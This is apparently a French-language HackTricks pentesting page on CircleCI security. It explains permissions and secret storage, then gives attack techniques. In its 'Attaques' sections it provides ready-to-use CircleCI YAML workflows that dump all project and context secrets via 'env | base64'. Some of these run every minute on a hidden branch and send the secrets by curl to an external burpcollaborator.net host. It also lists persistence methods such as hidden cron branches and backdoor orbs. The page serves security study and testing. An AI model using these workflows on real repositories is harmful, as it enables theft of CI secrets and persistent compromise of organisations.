# CircleCI Sécurité

{{#include ../banners/hacktricks-training.md}}

### Informations de base

[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) est une plateforme d'intégration continue où vous pouvez **définir des modèles** indiquant ce que vous voulez qu'elle fasse avec du code et quand le faire. De cette manière, vous pouvez **automatiser les tests** ou **les déploiements** directement **à partir de la branche principale de votre dépôt**, par exemple.

### Permissions

**CircleCI** **hérite des permissions** de github et bitbucket liées au **compte** qui se connecte.\
Dans mes tests, j'ai vérifié que tant que vous avez **des permissions d'écriture sur le dépôt dans github**, vous pourrez **gérer les paramètres de son projet dans CircleCI** (définir de nouvelles clés ssh, obtenir des clés api de projet, créer de nouvelles branches avec de nouvelles configurations CircleCI...).

Cependant, vous devez être un **administrateur de dépôt** pour **convertir le dépôt en projet CircleCI**.

### Variables d'environnement & Secrets

Selon [**la documentation**](https://circleci.com/docs/2.0/env-vars/), il existe différentes manières de **charger des valeurs dans des variables d'environnement** à l'intérieur d'un workflow.

#### Variables d'environnement intégrées

Chaque conteneur exécuté par CircleCI aura toujours [**des variables d'environnement spécifiques définies dans la documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) comme `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`.

#### Texte clair

Vous pouvez les déclarer en texte clair à l'intérieur d'une **commande** :
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement d'exécution** :
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement de build-job** :
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement d'un conteneur** :
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Secrets de Projet

Ce sont des **secrets** qui ne seront **accessibles** que par le **projet** (par **n'importe quelle branche**).\
Vous pouvez les voir **déclarés dans** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_

![](<../images/image (129).png>)

> [!CAUTION]
> La fonctionnalité "**Import Variables**" permet d'**importer des variables d'autres projets** vers celui-ci.

#### Secrets de Contexte

Ce sont des secrets qui sont **à l'échelle de l'organisation**. Par **défaut, n'importe quel repo** pourra **accéder à n'importe quel secret** stocké ici :

![](<../images/image (123).png>)

> [!TIP]
> Cependant, notez qu'un groupe différent (au lieu de Tous les membres) peut être **sélectionné pour donner accès aux secrets à des personnes spécifiques**.\
> C'est actuellement l'un des meilleurs moyens d'**augmenter la sécurité des secrets**, pour ne pas permettre à tout le monde d'y accéder mais seulement à certaines personnes.

### Attaques

#### Recherche de Secrets en Texte Clair

Si vous avez **accès au VCS** (comme github), vérifiez le fichier `.circleci/config.yml` de **chaque repo sur chaque branche** et **recherchez** des **secrets en texte clair** potentiels stockés là.

#### Énumération des Variables Env Secrètes & Contextes

En vérifiant le code, vous pouvez trouver **tous les noms de secrets** qui sont **utilisés** dans chaque fichier `.circleci/config.yml`. Vous pouvez également obtenir les **noms de contexte** à partir de ces fichiers ou les vérifier dans la console web : _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.

#### Exfiltrer les Secrets de Projet

> [!WARNING]
> Pour **exfiltrer TOUS** les **SECRETS** de projet et de contexte, vous **devez juste** avoir un accès **ÉCRIT** à **juste 1 repo** dans l'ensemble de l'organisation github (_et votre compte doit avoir accès aux contextes mais par défaut tout le monde peut accéder à chaque contexte_).

> [!CAUTION]
> La fonctionnalité "**Import Variables**" permet d'**importer des variables d'autres projets** vers celui-ci. Par conséquent, un attaquant pourrait **importer toutes les variables de projet de tous les repos** et ensuite **exfiltrer toutes ensemble**.

Tous les secrets de projet sont toujours définis dans l'env des jobs, donc il suffit d'appeler env et de l'obfusquer en base64 pour exfiltrer les secrets dans la **console de log web des workflows** :
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env
```
Si vous **n'avez pas accès à la console web** mais que vous avez **accès au dépôt** et que vous savez que CircleCI est utilisé, vous pouvez simplement **créer un workflow** qui est **déclenché toutes les minutes** et qui **exfiltre les secrets vers une adresse externe** :
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### Exfiltrer les secrets de contexte

Vous devez **spécifier le nom du contexte** (cela exfiltrera également les secrets du projet) :
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
Si vous **n'avez pas accès à la console web** mais que vous avez **accès au dépôt** et que vous savez que CircleCI est utilisé, vous pouvez simplement **modifier un workflow** qui est **déclenché toutes les minutes** et qui **exfiltre les secrets vers une adresse externe** :
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Créer simplement un nouveau `.circleci/config.yml` dans un dépôt **ne suffit pas à déclencher une build circleci**. Vous devez **l'activer en tant que projet dans la console circleci**.

#### Échapper vers le Cloud

**CircleCI** vous offre la possibilité d'exécuter **vos builds sur leurs machines ou sur les vôtres**.\
Par défaut, leurs machines sont situées dans GCP, et vous ne pourrez initialement rien trouver de pertinent. Cependant, si une victime exécute les tâches sur **ses propres machines (potentiellement, dans un environnement cloud)**, vous pourriez trouver un **point de terminaison de métadonnées cloud avec des informations intéressantes**.

Remarquez que dans les exemples précédents, tout a été lancé à l'intérieur d'un conteneur docker, mais vous pouvez également **demander à lancer une machine VM** (qui peut avoir des autorisations cloud différentes) :
```yaml
jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
Ou même un conteneur docker avec accès à un service docker distant :
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Persistance

- Il est possible de **créer** des **tokens utilisateur dans CircleCI** pour accéder aux points de terminaison de l'API avec les accès des utilisateurs.
- _https://app.circleci.com/settings/user/tokens_
- Il est possible de **créer des tokens de projet** pour accéder au projet avec les permissions données au token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- Il est possible d'**ajouter des clés SSH** aux projets.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- Il est possible de **créer un cron job dans une branche cachée** dans un projet inattendu qui **fuit** toutes les **variables d'environnement contextuelles** chaque jour.
- Ou même de créer dans une branche / modifier un job connu qui **fuit** tous les secrets de contexte et de **projets** chaque jour.
- Si vous êtes propriétaire d'un github, vous pouvez **autoriser des orbes non vérifiés** et en configurer un dans un job comme **porte dérobée**.
- Vous pouvez trouver une **vulnérabilité d'injection de commande** dans certaines tâches et **injecter des commandes** via un **secret** en modifiant sa valeur.

{{#include ../banners/hacktricks-training.md}}
